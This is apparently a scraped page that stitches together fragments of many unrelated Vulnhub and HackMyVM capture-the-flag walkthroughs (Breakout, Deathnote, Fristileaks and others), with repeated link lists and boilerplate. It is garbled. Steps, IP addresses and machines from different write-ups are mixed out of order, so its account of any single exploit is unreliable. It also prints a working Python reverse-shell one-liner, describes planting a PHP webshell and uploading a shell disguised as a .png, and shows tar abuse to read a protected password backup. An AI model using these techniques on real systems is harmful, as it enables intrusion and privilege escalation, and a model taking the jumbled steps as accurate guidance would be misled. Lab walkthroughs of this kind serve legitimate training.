The scan command and results can be seen in the following screenshot. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. Ill get a reverse shell. You play Trinity, trying to investigate a computer on . This machine works on VirtualBox. This website uses 'cookies' to give you the best, most relevant experience. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. django Until now, we have enumerated the SSH key by using the fuzzing technique. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. At the bottom left, we can see an icon for Command shell. Let us try to decrypt the string by using an online decryption tool. Let's use netdiscover to identify the same. 3. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. The identified open ports can also be seen in the screenshot given below. Your email address will not be published. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. First, let us save the key into the file. Let us start the CTF by exploring the HTTP port. Port 80 open. This was my first VM by whitecr0wz, and it was a fun one. Post-exploitation, always enumerate all the directories under logged-in user to find interesting files and information. . Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". It can be seen in the following screenshot. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. The second step is to run a port scan to identify the open ports and services on the target machine. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. Let's do that. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. Now that we know the IP, lets start with enumeration. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. In the comments section, user access was given, which was in encrypted form. Also, make sure to check out the walkthroughs on the harry potter series. Command used: < ssh i pass icex64@192.168.1.15 >>. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. It's themed as a throwback to the first Matrix movie. We will use the FFUF tool for fuzzing the target machine. Also, this machine works on VirtualBox. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. 16. So, let's start the walkthrough. The website can be seen below. walkthrough However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. Command used: << dirb http://deathnote.vuln/ >>. Breakout Walkthrough. Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. I am using Kali Linux as an attacker machine for solving this CTF. As we can see below, we have a hit for robots.txt. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. VM running on 192.168.2.4. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. The Drib scan generated some useful results. 6. The output of the Nmap shows that two open ports have been identified Open in the full port scan. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. So, in the next step, we will start solving the CTF with Port 80. We identified that these characters are used in the brainfuck programming language. It will be visible on the login screen. We ran some commands to identify the operating system and kernel version information. web The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. This gives us the shell access of the user. We identified a few files and directories with the help of the scan. fig 2: nmap. We got a hit for Elliot.. htb In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. Doubletrouble 1 Walkthrough. There was a login page available for the Usermin admin panel. We researched the web to help us identify the encoding and found a website that does the job for us. In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. My goal in sharing this writeup is to show you the way if you are in trouble. In the next part of this CTF, we will first use the brute-forcing technique to identify the password and then solve this CTF further. 13. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. When we opened the file on the browser, it seemed to be some encoded message. Each key is progressively difficult to find. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named HWKDS. The netbios-ssn service utilizes port numbers 139 and 445. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). The password was stored in clear-text form. By default, Nmap conducts the scan only known 1024 ports. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. I hope you enjoyed solving this refreshing CTF exercise. We opened the case.wav file in the folder and found the below alphanumeric string. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. backend Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. We used the -p- option for a full port scan in the Nmap command. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. 5. It was in robots directory. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. To fix this, I had to restart the machine. import os. Below we can see netdiscover in action. The l comment can be seen below. Nmap also suggested that port 80 is also opened. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. This could be a username on the target machine or a password string. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. The IP address was visible on the welcome screen of the virtual machine. security This seems to be encrypted. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. After a few attempts, the username Kira worked on the login page, and the password was also easily guessed from the hint messages we had read earlier. Here we will be running the brute force on the SSH port that can be seen in the following screenshot. The first step is to run the Netdiscover command to identify the target machines IP address. I am from Azerbaijan. The identified open ports can also be seen in the screenshot given below. The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. file permissions The CTF or Check the Flag problem is posted on vulnhub.com. This lab is appropriate for seasoned CTF players who want to put their skills to the test. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. passwordjohnroot. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. Let's start with enumeration. command to identify the target machines IP address. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. We copy-pasted the string to recognize the encryption type and, after that, click on analyze. We ran the id command to check the user information. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. There are numerous tools available for web application enumeration. javascript The target machines IP address can be seen in the following screenshot. My goal in sharing this writeup is to show you the way if you are in trouble. Next, we will identify the encryption type and decrypt the string. We need to log in first; however, we have a valid password, but we do not know any username. Quickly looking into the source code reveals a base-64 encoded string. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. As usual, I checked the shadow file but I couldnt crack it using john the ripper. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. insecure file upload command we used to scan the ports on our target machine. I have. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. We used the su command to switch to kira and provided the identified password. As the content is in ASCII form, we can simply open the file and read the file contents. Since we can see port 80 is opened, the first thing I always do before running tools such as nikto or gobuster is to look for known pages such as robots.txt. The string was successfully decoded without any errors. Please comment if you are facing the same. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. We will be using. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It will be visible on the login screen. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. router In the highlighted area of the following screenshot, we can see the. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. So, in the next step, we will be escalating the privileges to gain root access. file.pysudo. Below we can see that we have inserted our PHP webshell into the 404 template. 12. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. command we used to scan the ports on our target machine. Following that, I passed /bin/bash as an argument. The hint message shows us some direction that could help us login into the target application. After executing the above command, we are able to browse the /home/admin, and I found couple of interesting files like whoisyourgodnow.txt and cryptedpass.txt. 17. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. c Command used: << enum4linux -a 192.168.1.11 >>. So, we clicked on the hint and found the below message. Note: For all of these machines, I have used the VMware workstation to provision VMs. Let us open each file one by one on the browser. We decided to enumerate the system for known usernames. The message states an interesting file, notes.txt, available on the target machine. It can be used for finding resources not linked directories, servlets, scripts, etc. Symfonos 2 is a machine on vulnhub. This vulnerable lab can be downloaded from here. We opened the target machine IP address on the browser. I simply copy the public key from my .ssh/ directory to authorized_keys. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ In the next step, we will be using automated tools for this very purpose. driftingblues EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. We created two files on our attacker machine. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. Using this username and the previously found password, I could log into the Webmin service running on port 20000. Let's see if we can break out to a shell using this binary. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. However, for this machine it looks like the IP is displayed in the banner itself So following the same methodology as in Kioptrix VMs, let's start nmap enumeration. The target machine IP address is. Doubletrouble 1 walkthrough from vulnhub. I am using Kali Linux as an attacker machine for solving this CTF. I wish you a good days, cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak, cyber@breakout:~$ cat var/backups/.old_pass.bak. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . Next, I checked for the open ports on the target. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. So, we used the sudo l command to check the sudo permissions for the current user. To my surprise, it did resolve, and we landed on a login page. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. Scanning target for further enumeration. I have tried to show up this machine as much I can. 1. This contains information related to the networking state of the machine*. https://download.vulnhub.com/empire/02-Breakout.zip. So, we identified a clear-text password by enumerating the HTTP port 80. Lets look out there. So, let us open the identified directory manual on the browser, which can be seen below. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. In this post, I created a file in Kali Linux VM will be my attacking box. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. Today we will take a look at Vulnhub: Breakout. The next step is to scan the target machine using the Nmap tool. However, it requires the passphrase to log in. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. structures The root flag can be seen in the above screenshot. Also, its always better to spawn a reverse shell.
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